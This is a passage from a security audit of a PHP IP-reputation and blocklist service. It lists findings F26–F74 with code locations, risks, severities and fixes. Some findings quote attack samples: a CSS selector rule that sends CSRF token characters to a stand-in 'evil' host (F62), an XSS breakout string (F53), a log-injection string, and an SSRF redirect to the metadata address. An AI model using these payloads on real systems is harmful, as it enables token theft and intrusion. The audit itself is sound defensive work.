  the same docker bridge or a misconfigured host-iptables rule reaches
  port 8081 from a 172.16/12 source, both the Caddyfile gate
  (`remote_ip 127.0.0.1/32 ::1/128 ...`) and the PHP
  `InternalNetworkMiddleware` see a forged source. The
  `INTERNAL_JOB_TOKEN` is still required, but the network-layer
  defense is bypassable on tenant-shared docker hosts.
- **Severity: 2**

### F26 — JsonErrorHandler can leak raw exception messages in production
- **File:** `api/src/Infrastructure/Http/JsonErrorHandler.php:53-82`
- **Risk:** The "hide details in prod" guard fires only when status
  ≥ 500. The `HttpException` branch returns
  `[$e->getCode(), ['error' => $e->getMessage()]]` for codes anywhere
  in 400–499 — attacker-influenced messages are returned verbatim.
  The catch-all branch passes `$e->getMessage()` into the payload
  and only overwrites it with `'internal error'` when status ≥ 500
  AND `!expose`. Internal exception types (DBAL, PDO, parse errors)
  whose `getCode()` happens to be in the 4xx range bypass
  suppression and return raw messages.
- **Severity: 2**

### F27 — `RateLimitMiddleware` is skipped when no principal is present
- **Files:** `api/src/Infrastructure/Http/Middleware/RateLimitMiddleware.php:33-36`
- **Risk:** The middleware bails out and forwards unrate-limited if
  `$principal` is missing. Anything outside the public group
  (admin/auth/internal/health/docs) receives no rate limiting.
  Auth-failed paths (401 from `TokenAuthenticationMiddleware`) never
  reach `RateLimitMiddleware` either — a client hammering with
  invalid bearer tokens incurs DB lookups (and `last_used_at` writes
  on hits) with zero backoff, pinning DB pool / connection budget.
- **Severity: 2**

### F28 — Rate limiter buckets are per-process, unbounded, and reset per replica
- **File:** `api/src/Infrastructure/Http/RateLimiter.php:23-49`
- **Risk:** `$buckets` is unbounded and never evicted (token churn
  balloons memory in long-lived FrankenPHP workers). Multi-replica
  deployments give an attacker a fresh bucket per replica — effective
  rate is `(perSecond) * N_replicas` per token behind a non-sticky
  LB. Idle/revoked tokens linger forever until container restart.
- **Severity: 2**

### F29 — `/api/v1/admin/*` group has no rate limit
- **File:** `api/src/App/AppFactory.php:188-337`
- **Risk:** The admin group attaches `tokenAuth → impersonation →
  auditContext` but not `$rateLimit`. Combined with F30 (slow
  searchIps), F31 (deep-offset audit), and F32 (N+1 enrichment), any
  compromised Viewer token (Viewer is the OIDC default role) can
  issue unlimited heavy queries.
- **Severity: 2**

### F30 — `IpScoreRepository::searchIps` allows full-table scan via `q=%X%`
- **File:** `api/src/Infrastructure/Reputation/IpScoreRepository.php:146-307`
- **Risk:** For any `q` value not matching `/^[\da-fA-F:.]+$/`, the
  query degrades to `LIKE '%q%'`, forcing a full `ip_scores` table
  scan + `GROUP BY ip_bin, ip_text` (no index supports a
  non-anchored LIKE). At the SPEC's 50k-row target this is slow.
  Pair with `min_score`/`max_score` HAVING and the LEFT JOIN on
  `ip_enrichment` (joined whenever country or asn is supplied) and a
  Viewer can drive pathological execution per request. There is no
  statement timeout. Each request also runs a separate `COUNT(*)`
  over the same wrapped subquery, doubling cost.
- **Severity: 2**

### F31 — `AuditController` has no length cap, no max-offset cap, deep-offset scans
- **Files:** `api/src/Application/Admin/AuditController.php:58-101`,
  `api/src/Infrastructure/Audit/AuditRepository.php:68-129`
- **Risk:** `action`, `entity_type`, `entity_id`, `subject_id` are
  passed unfiltered. With `page_size=200` and large `offset`,
  `LIMIT 200 OFFSET huge` causes a deep scan over `audit_log`. No
  max-offset cap. `COUNT(*)` runs on every paginated request. A
  logged-in Viewer can hit `?page=999999&page_size=200` to force
  scans repeatedly.
- **Severity: 2**

### F32 — Admin list endpoints execute N+1 enrichment lookups per page row
- **Files:** `api/src/Application/Admin/IpsController.php:84-86, 187-190`,
  `api/src/Application/Admin/AdminControllerSupport.php:67-77`
- **Risk:** `IpsController::list` calls
  `enrichment->findByIpBin()` and `effectiveStatusFor()` per row.
  At `page_size=200`, that's 400+ DB roundtrips per request. With
  no admin rate limit (F29), this amplifies query cost
  significantly. Refactor to batch-load enrichment by ip_bin set.
- **Severity: 2**

---

## Severity 1 — low / informational

### F33 — `OidcClaims->email` is `?string` but `upsertOidc` types it as `string`
- **Files:** `api/src/Infrastructure/Auth/UserRepository.php:65-71`,
  `ui/src/Auth/JumbojettOidcAuthenticator.php:56-61`
- **Risk:** Type-system finding rather than direct exploit; a TypeError
  at the boundary on null email. Downstream merge-by-email tools could
  later confuse two users since the OIDC primary key is `subject` but
  some IdPs don't release `email`.
- **Severity: 1**

### F34 — Sensitive identifiers logged at INFO/WARN/ERROR
- **Files:** `ui/src/Auth/LoginThrottle.php:79-90`,
  `ui/src/Auth/OidcController.php:84`
- **Risk:** Attempted usernames (which can include passwords typed in
  the wrong field), source IPs, and OIDC subjects are logged in
  plaintext. SIEM exports / log access by lower-trust operators
  amount to accidental disclosure.
- **Severity: 1**

### F35 — `INTERNAL_JOB_TOKEN` has no minimum-length enforcement at startup
- **File:** `api/src/Infrastructure/Http/Middleware/InternalTokenMiddleware.php:35-47`
- **Risk:** `hash_equals` is correct, but a misconfigured deploy with
  `INTERNAL_JOB_TOKEN=foo` is accepted as long as it is non-empty.
  Network gate (`InternalNetworkMiddleware`) limits exposure but
  combined with F25 a docker-network neighbour can brute-force a
  weak token. Validate at startup that the token is at least 32 hex
  chars or refuse to boot.
- **Severity: 1**

### F36 — UI session role/identity is captured at login and never re-validated
- **Files:** `ui/src/Http/AuthRequiredMiddleware.php:27-32`,
  `ui/src/Auth/SessionManager.php:84-99`
- **Risk:** If an OIDC user is removed from an admin group in Entra,
  or a user record is deleted/disabled in the api, the existing UI
  session continues to operate with the stale role until expiry
  (8h idle / 24h absolute). No "revoke session by user_id"
  primitive.
- **Severity: 1**

### F37 — Local-admin password hash algorithm not validated at boot
- **File:** `ui/src/Auth/LocalLoginController.php:42, 78`
- **Risk:** No check that `LOCAL_ADMIN_PASSWORD_HASH` is Argon2id (or
  bcrypt cost ≥ 12). An operator who passes `$2y$04$…` (cost 4) or a
  legacy `$1$…` MD5-crypt string would have it accepted. Use
  `password_get_info()` and refuse to enable local-admin if the
  algorithm is below threshold.
- **Severity: 1**

### F38 — Disabled local-admin returns 404 *before* throttle, allowing unrestricted hammering
- **File:** `ui/src/Auth/LocalLoginController.php:60-62`
- **Risk:** When `localAdminEnabled === false`, the controller 404s
  with no rate-limit. Worker threads still serve the request — a
  cheap DoS lever on environments with the local path disabled.
- **Severity: 1**

### F39 — Token base32 encoding has trailing-bit ambiguity
- **Files:** `api/src/Domain/Auth/Token.php:18, 47`,
  `api/src/Domain/Auth/TokenIssuer.php:26-43`
- **Risk:** The encoder zero-pads the final 5-bit chunk, so the last
  base32 char encodes only 4 useful bits — 32 possible last
  characters decode to 16 distinct values modulo the unused bit.
  No exploit found (lookup is by SHA-256 of the raw input), but the
  parser should refuse base32 strings whose final character has the
  unused bit set.
- **Severity: 1**

### F40 — CSRF token never rotated on session-id regeneration
- **Files:** `ui/src/Http/CsrfMiddleware.php:53-60`,
  `ui/src/Auth/SessionManager.php:67-75, 77-82`
- **Risk:** `regenerateId()` rotates `session_id` on login but the
  `$_SESSION['_csrf']` token carries over across the privilege
  boundary. A pre-auth token leaked via referer or a sub-resource
  remains valid post-auth for the session lifetime. Standard
  hardening: regenerate the CSRF token on login/logout. (`clear()`
  resets `$_SESSION` to `[]` so logout is fine.)
- **Severity: 1**

### F41 — Reporter / consumer `audit_enabled` is mass-assignable via PATCH
- **Files:** `api/src/Application/Admin/ReportersController.php:178-184`,
  `api/src/Application/Admin/ConsumersController.php:184-190`
- **Risk:** Admin-gated, but an attacker with Admin can silently
  disable `report.received` / `blocklist.requested` audit emission
  for a reporter/consumer before performing further activity, then
  re-enable. No special-class audit signal flags the toggle.
- **Severity: 1**

### F42 — UI policy proxy controllers rely entirely on API for role enforcement
- **File:** `ui/src/Controllers/PoliciesController.php:61-118`
- **Risk:** `previewProxy` / `scoreDistributionProxy` only check
  `getUser() === null` and forward to the API with the session userId
  as `X-Acting-User-Id`. Currently safe because API gates the
  underlying endpoint to Viewer, but if the API role drifts the UI
  silently allows access until an API 403 surfaces. Defense-in-depth:
  enforce the role expectation in the UI controller.
- **Severity: 1**

### F43 — `/admin/ips/{ip:.+}` route pattern is permissive
- **Files:** `api/src/App/AppFactory.php:256`,
  `ui/src/App/AppFactory.php:130`,
  `api/src/Application/Admin/IpsController.php:121-127`
- **Risk:** `.+` matches multi-segment paths. Currently safe because
  `IpAddress::fromString` rejects non-IP strings, but any future
  reuse of `$args['ip']` as a filename, log key, or downstream URL
  component inherits a path-traversal sink. Tighten to a strict IP
  charset regex.
- **Severity: 1**

### F44 — Job name not strictly regex-validated before audit emission
- **File:** `api/src/Application/Admin/JobsAdminController.php:90-130`
- **Risk:** `registry->has($name)` is the gate. A future change that
  trims/url-decodes inside `has()` could turn the audit-emit path
  into log injection or forged audit entries. Validate against
  `^[a-z0-9_-]+$` in the controller.
- **Severity: 1**

### F45 — `InternalNetworkMiddleware` admits the entire RFC1918 universe
- **File:** `api/src/Infrastructure/Http/Middleware/InternalNetworkMiddleware.php:29-35`
- **Risk:** Allowed CIDRs are `10.0.0.0/8`, `172.16.0.0/12`,
  `192.168.0.0/16`, plus loopback. Any container reachable on the
  internal docker network passes the network gate. Safer: pin to a
  named docker-compose network or to the explicit scheduler IP.
- **Severity: 1**

### F46 — LIKE wildcard injection in IPs search `q`
- **File:** `api/src/Infrastructure/Reputation/IpScoreRepository.php:155-162`
- **Risk:** `q` is bound parametrically (no SQLi) but `%` and `_`
  meta-characters are not escaped. `?q=%` matches every row;
  `?q=_____...` is a quadratic backtrack vector. The `IpsController`
  validator only `trim()`s `q`; no length cap.
- **Severity: 1**

### F47 — Unbounded length on string filters reaching SQL
- **Files:** `api/src/Application/Admin/AuditController.php:58-83`,
  `api/src/Infrastructure/Audit/AuditRepository.php:81-101`
- **Risk:** `action`, `entity_type`, `entity_id`, `subject_kind`,
  `subject_id` are accepted as arbitrary-length strings. Bound
  parametrically (no SQLi) but multi-megabyte values are happily
  forwarded to the prepared statement, wasting RAM/CPU per request.
  Apply max length 128 plus an allowlist regex on `*_kind` fields.
- **Severity: 1**

### F48 — MaxMind tarball extraction has no decompressed-size cap
- **File:** `api/src/Infrastructure/Enrichment/Downloaders/MaxMindDownloader.php:90-98`
- **Risk:** `PharData::extractTo` rejects `..` traversal since PHP 8,
  so direct path-traversal is mitigated, but there is no per-entry
  size cap. A small `.tar.gz` could decompress into multi-GB MMDB
  and exhaust disk before `MmdbVerifier` sees it. Iterate `$phar`
  manually and enforce a max uncompressed size.
- **Severity: 1**

### F49 — DB-IP gunzip has no decompressed-size cap
- **File:** `api/src/Infrastructure/Enrichment/Downloaders/DbipDownloader.php:108-126`
- **Risk:** `gzdecode($compressed)` allocates the full decompressed
  payload. A malicious or compromised DB-IP endpoint (or a TLS-trust
  misconfiguration) could serve a tiny gzip whose decompressed form
  is multi-GB, OOM-killing the api. Stream via `gzopen`/`gzread` and
  bail past a threshold.
- **Severity: 1**

### F50 — Guzzle client used by GeoIP downloaders allows redirects without host filtering
- **File:** `api/src/App/Container.php:279-288`
- **Risk:** `connect_timeout`/`timeout` are set but `allow_redirects`
  defaults to "follow up to 5", with no `protocols`/`strict`/`referer`
  constraints. A malicious upstream or DNS poisoning could 302 a
  download to `http://169.254.169.254/...` or `file://`. URL is a
  constant in the default deploy, so this is defence-in-depth.
  Mitigation:
  `allow_redirects => ['max'=>3,'protocols'=>['https'],'strict'=>true,'referer'=>false]`
  plus a private-IP guard.
- **Severity: 1**

### F51 — `RoleMappingRepository` placeholder generation does not enforce list shape
- **File:** `api/src/Infrastructure/Auth/RoleMappingRepository.php:31-36`
- **Risk:** Safe today because the only caller passes a typed list,
  but the `sprintf` pattern is fragile. Add
  `array_filter($groupIds, 'is_string')` to make the contract
  explicit.
- **Severity: 1**

### F52 — Reporter / consumer / category `name`/`reason` accept control characters
- **Files:** `api/src/Application/Admin/ReportersController.php:69-72`,
  `ConsumersController.php:67-70`,
  `ManualBlocksController.php`, `AllowlistController.php`,
  `CategoriesController.php`
- **Risk:** NULs, newlines, ANSI escapes land in
  `audit_log.target_label` and `details_json`. Twig auto-escapes for
  display, but log-injection (`\n[CRIT] fake event`) is possible
  downstream. Strip control chars and NFC-normalise at the input
  boundary.
- **Severity: 1**

### F53 — Stored-XSS sink potential in `categories/edit.twig` `decay_function`
- **File:** `ui/resources/views/pages/categories/edit.twig:7-10`
- **Risk:**
  `x-data="decayPreview({ fn: '{{ category.decay_function }}', ... })"`.
  Twig's default `e('html')` escapes `'` to `&#039;`. The browser
  HTML-decodes the attribute before Alpine evaluates it as JS, so
  `&#039;` becomes a literal `'` and breaks out of the JS string. If
  `decay_function` ever stores `a'); alert(1);//` (API enum drift),
  it executes. Combined with F24 (CSP `'unsafe-inline'`), live XSS.
  Use `e('js')` for content interpolated into a JS-attribute.
- **Severity: 1**

### F54 — CSRF middleware lacks `Origin` / `Referer` defence in depth
- **File:** `ui/src/Http/CsrfMiddleware.php:30, 40-48, 62-74`
- **Risk:** Token validation is correct (constant-time compare,
  256-bit entropy). Missing layered checks. No JSON-body extraction
  path (the middleware reads only header or `getParsedBody()`); fine
  today, brittle for future PUT/PATCH endpoints with JSON.
- **Severity: 1**

### F55 — `e('html_attr')` in Alpine `x-data` JS-attribute
- **File:** `ui/resources/views/pages/ips/detail.twig:166-171`
- **Risk:** Escape-strategy mismatch — `html_attr` vs the JS evaluator
  Alpine runs the attribute through. Backticks aren't escaped,
  Unicode permissive. A maintainer footgun more than an exploit.
  Use `data-foo='{{ x|json_encode|e("html_attr") }}'` on a
  non-Alpine element and read via `dataset.foo` + `JSON.parse` (the
  pattern already used in `dashboard.twig`).
- **Severity: 1**

### F56 — Inline `<script>` blocks in many templates force CSP `'unsafe-inline'`
- **Files:** `ui/resources/views/pages/ips/detail.twig:274-392`,
  `pages/categories/edit.twig:111-135`,
  `pages/policies/edit.twig:139-422`,
  `pages/audit/index.twig:102-131`,
  `layout.twig:9-22`
- **Risk:** Inline scripts plus event handlers force `'unsafe-inline'`
  (F24). Migrating to per-request nonces, or moving these scripts
  into a packaged `/assets/app.js`, lets the CSP drop the
  `'unsafe-inline'` token.
- **Severity: 1**

### F57 — Session cookie name lacks `__Host-` prefix
- **File:** `ui/src/Auth/SessionManager.php:23, 54-62`
- **Risk:** Attributes are correct (`HttpOnly`, prod `Secure`,
  `SameSite=Lax`, `path=/`, no `Domain`). Adding `__Host-` enforces
  these at the browser and prevents subdomain cookie shadowing.
  Free defence-in-depth.
- **Severity: 1**

### F58 — `/api/docs` CSP allows external CDN without SRI
- **File:** `api/docker/Caddyfile:41`
- **Risk:** `script-src 'unsafe-inline' https://cdn.jsdelivr.net`. If
  the CDN is compromised or RapiDoc serves user-influenced content,
  the docs page executes attacker JS. Add SRI hashes on the RapiDoc
  tag, or vendor a copy locally.
- **Severity: 1**

### F59 — Missing modern hardening headers
- **Files:** `ui/docker/Caddyfile:18-34`,
  `api/docker/Caddyfile:24-30`
- **Risk:** No `Cross-Origin-Opener-Policy`,
  `Cross-Origin-Resource-Policy`, or
  `X-Permitted-Cross-Domain-Policies`. `Permissions-Policy` covers
  only `geolocation`, `microphone`, `camera`. Cheap to add the
  rest.
- **Severity: 1**

### F60 — HSTS lacks `preload`
- **Files:** `ui/docker/Caddyfile:37`, `api/docker/Caddyfile:36`
- **Risk:** Informational. Operators who want HSTS preload need to
  add the directive.
- **Severity: 1**

### F61 — Caddy `Permissions-Policy` minimal
- **Files:** `ui/docker/Caddyfile:24`, `api/docker/Caddyfile:30`
- **Risk:** Modern hardening also denies `interest-cohort`,
  `payment`, `usb`, `magnetometer`, `gyroscope`, `accelerometer`,
  `fullscreen`, `display-capture`, `clipboard-read`, etc.
- **Severity: 1**

### F62 — CSP `style-src 'unsafe-inline'` enables CSS-attribute-selector exfiltration
- **File:** `ui/docker/Caddyfile:33`
- **Risk:** With an HTML-injection (sub-XSS) primitive, an attacker
  can write CSS like
  `input[name=csrf_token][value^="a"] { background-image: url(//evil/?p=a); }`
  to leak the CSRF token char-by-char. Drop `'unsafe-inline'` for
  `style-src` and move dynamic widths to a stylesheet driven by
  `data-*` attributes.
- **Severity: 1**

### F63 — Twig `autoescape` default is not explicitly configured
- **File:** `ui/src/App/Container.php:105-131`
- **Risk:** Defaults to `'html'` today, but a future Twig major or
  Slim-twig wrapper change could quietly flip it. Pin
  `'autoescape' => 'html'`.
- **Severity: 1**

### F64 — `compose.scheduler.yml` references a missing crontab file
- **File:** `compose.scheduler.yml:10` (`./docker/scheduler.crontab`)
- **Risk:** The bind-mount source does not exist in the repository.
  Container starts with empty `/etc/crontabs/root` and silently never
  runs `cleanup-audit` (audit retention silently broken) or
  `cleanup-expired-manual-blocks`. Failure-open monitoring gap.
- **Severity: 1**

### F65 — `SecretScrubbingProcessor` does not match raw JWT shape
- **Files:** `api/src/Infrastructure/Logging/SecretScrubbingProcessor.php:42-57`,
  `ui/src/Logging/SecretScrubbingProcessor.php:22-37`
- **Risk:** A short Bearer (< 20 chars) is not redacted by the
  current regex. Raw `id_token`/`access_token` JWTs logged under
  alternate keys (e.g. `'jwt' => '...'`) escape the key-name list.
  Add a JWT regex
  `^[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+$`.
- **Severity: 1**

### F66 — `APP_SECRET` and `UI_SECRET` declared but unused
- **Files:** `.env.example:23, 82`,
  `api/config/settings.php:35`,
  `ui/config/settings.php:37`
- **Risk:** `UI_SECRET` is never referenced in `ui/src/`. `APP_SECRET`
  is never used for any signing/HMAC operation. Operators following
  `.env.example` generate secret material that does nothing — a
  misleading security signal. Either wire them into ETag/CSRF/session
  signing or remove them.
- **Severity: 1**

### F67 — UI `Config::validateOrExit` does not check `UI_SECRET` despite docs
- **Files:** `ui/src/App/Config.php:20-55`,
  `.env.example:82`
- **Risk:** `.env.example:82` documents `UI_SECRET` as required
  ("signs session cookies") but the boot validator does not check
  it. Sessions are unsigned PHP-native files. Misleading
  documentation.
- **Severity: 1**

### F68 — `/api/v1/openapi.yaml` and `/api/docs` are unauthenticated
- **Files:** `api/src/App/AppFactory.php:99-101`,
  `api/docker/Caddyfile:40-44`
- **Risk:** The 48 KB OpenAPI spec leaks the full surface of admin
  endpoints, internal-job endpoints, expected query/body shapes, and
  error contracts to unauthenticated callers. Defaults to
  internet-reachable. Aids reconnaissance. Gate behind a flag like
  `API_DOCS_PUBLIC` or move to an authenticated path.
- **Severity: 1**

### F69 — `ReportController` parses unbounded JSON body before size checks
- **Files:** `api/src/Application/Public/ReportController.php:99-113, 184-197`,
  `api/src/App/AppFactory.php:67`
- **Risk:** `jsonBody()` reads `(string) $request->getBody()` and
  `json_decode`s it without a pre-decoding size check. The 4 KB
  `METADATA_MAX_BYTES` is checked only after decoding succeeds — the
  full body is in memory by then. PHP `post_max_size`/`memory_limit`
  are not configured anywhere in the docker stack. An authenticated
  reporter (one weak token suffices) can POST a 100 MB body and
  burn memory; metadata-depth nesting up to PHP's 512 default
  amplifies. Set `JSON_THROW_ON_ERROR`, cap body size in Caddy, and
  enforce `php_value memory_limit`.
- **Severity: 1**

### F70 — `BlocklistController?format=json` forces sha256-of-50k-entries on every cache miss
- **File:** `api/src/Application/Public/BlocklistController.php:80-85, 176-193`
- **Risk:** A consumer can request the more expensive JSON renderer
  on demand. Per-process `BlocklistCache` TTL=30s — every cache miss
  rebuilds and rehashes. Combined with the per-token-only rate
  limit, a single consumer at 60 req/s sustains 60 full
  build-and-hash operations per second per replica. Header
  size limits cap the `If-None-Match` parse loop but it is still an
  amplifier. Constrain `format` per consumer (only allow what the
  consumer typically uses).
- **Severity: 1**

### F71 — `BlocklistCache` is not size-bounded
- **File:** `api/src/Infrastructure/Reputation/BlocklistCache.php:33, 42-59`
- **Risk:** The cache map is keyed by `$policy->id` and grows
  monotonically with no LRU. Admin-creatable, but unbounded. Add a
  bounded LRU (e.g. 16 policies cached).
- **Severity: 1**

### F72 — `/ips/{ip:.+}` accepts unbounded path parameter
- **Files:** `api/src/App/AppFactory.php:256`,
  `api/src/Application/Admin/IpsController.php:121-127`
- **Risk:** A logged-in Viewer can call `/api/v1/admin/ips/<10MB>`.
  `rawurldecode` runs on the entire string; `IpAddress::fromString`
  applies regex. Web-server URL-length limits typically cap this at
  a few KB but mitigations are environment-specific. Tighten the
  regex to a strict IP character class.
- **Severity: 1**

### F73 — UI `JsonExceptionHandler` `getCode()` type-juggling for HTTP status
- **File:** `ui/src/Http/JsonExceptionHandler.php:40-63`
- **Risk:** `getCode()` from arbitrary `Throwable` is used as HTTP
  status if it is in `[400, 600)`. PDOException's `getCode()` is a
  SQLSTATE *string* (e.g. `'42S02'`) — coerced via comparison. A
  string like `'400'` would set status 400 and skip prod
  message-suppression. Cast to int explicitly and reject non-numeric
  codes.
- **Severity: 1**

### F74 — `LoginThrottle` writes `logger->warning` per failure with no log-rate cap
- **File:** `ui/src/Auth/LoginThrottle.php:79-93`
- **Risk:** A sustained brute-force attack at 100 req/s fills disk via
  the structured logger. No log-rate cap, no aggregation. Pair with
  F1 (XFF spoof) and F2 (no per-user bucket) to amplify.
- **Severity: 1**

---

## Reviewed and acceptable

The following candidate concerns were checked and are not findings in the
current code. Listed for completeness so the next reviewer doesn't redo
the same work.

- **No raw SQL interpolation of user input.** All repositories bind via
  DBAL named/positional parameters. The only `sprintf` into SQL is for
  table names where values are hardcoded constants or `?` placeholder
  counts.
- **No `ORDER BY` injection.** Every `ORDER BY` uses constants — no
  user-controlled sort column anywhere reviewed.
- **No `unserialize`, `eval`, `exec`, `shell_exec`, `system`,
  `passthru`, `proc_open`, `popen`, backticks, or `preg_replace /e`
  modifier** anywhere in `api/src` or `ui/src` (vendor excluded).
- **IP/CIDR parsing** (`IpAddress::fromString`, `Cidr::fromString`) is
  strict — rejects whitespace, leading zeros, bracketed IPv6, zone
  identifiers, malformed octets.
- **Token format & entropy.** `random_bytes(20)` = 160 bits, base32
  encoded. SHA-256 storage at rest. Lookup is by hash — no timing side
  channel.
- **Constant-time comparisons** used where they matter (`hash_equals`
  in CSRF, internal token, local-admin username).
- **OIDC `S256` PKCE** explicitly set; missing `sub` claim rejected.
- **Failed-token responses are uniform 401** — no distinction between
  missing/malformed/unknown/revoked/expired.
- **Impersonation header is silently ignored on non-service tokens.**
- **Impersonation user id strictly validated** as `^[1-9][0-9]*$`.
- **JobRunner orchestrates entirely via DBAL** — no shell-out.
- **MmdbVerifier opens MMDB via `MaxMind\Db\Reader`** with node-count
  thresholds; truncated/empty downloads fail closed.
- **UI Guzzle client uses a fixed `API_BASE_URL`** from env — not
  user-retargetable.
- **`MaintenanceController::purge`** loops `'DELETE FROM '.$table` over
  a hard-coded allowlist.
- **Twig auto-escape (HTML)** is the default; no `|raw` over
  user-controlled data was found.
- **Logout is POST-only and CSRF-protected.**
- **Session cookie attributes** (`HttpOnly`, `Secure` in prod,
  `SameSite=Lax`) are correct.
- **`PharData::extractTo` rejects path traversal** since PHP 8.

---

## Summary of severity counts

| Severity | Count |
|----------|-------|
| 3        | 5     |
| 2        | 27    |
| 1        | 42    |
| **Total**| **74**|

The headline risks are: (a) the brute-force lockout is bypassable
trivially via `X-Forwarded-For` spoofing or distributed sources
(F1, F2), (b) a leaked or unrotated service token is a single-step
total compromise because `/api/v1/auth/upsert-local` mints Admin users
with no impersonation/audit/RBAC/rate-limit (F3), and (c) audit
integrity rests on a non-transactional best-effort second write that
silently no-ops on failure (F4, F5). The combination of these means a
single compromised credential plus a deliberately-failed audit insert
yields un-traced privilege escalation.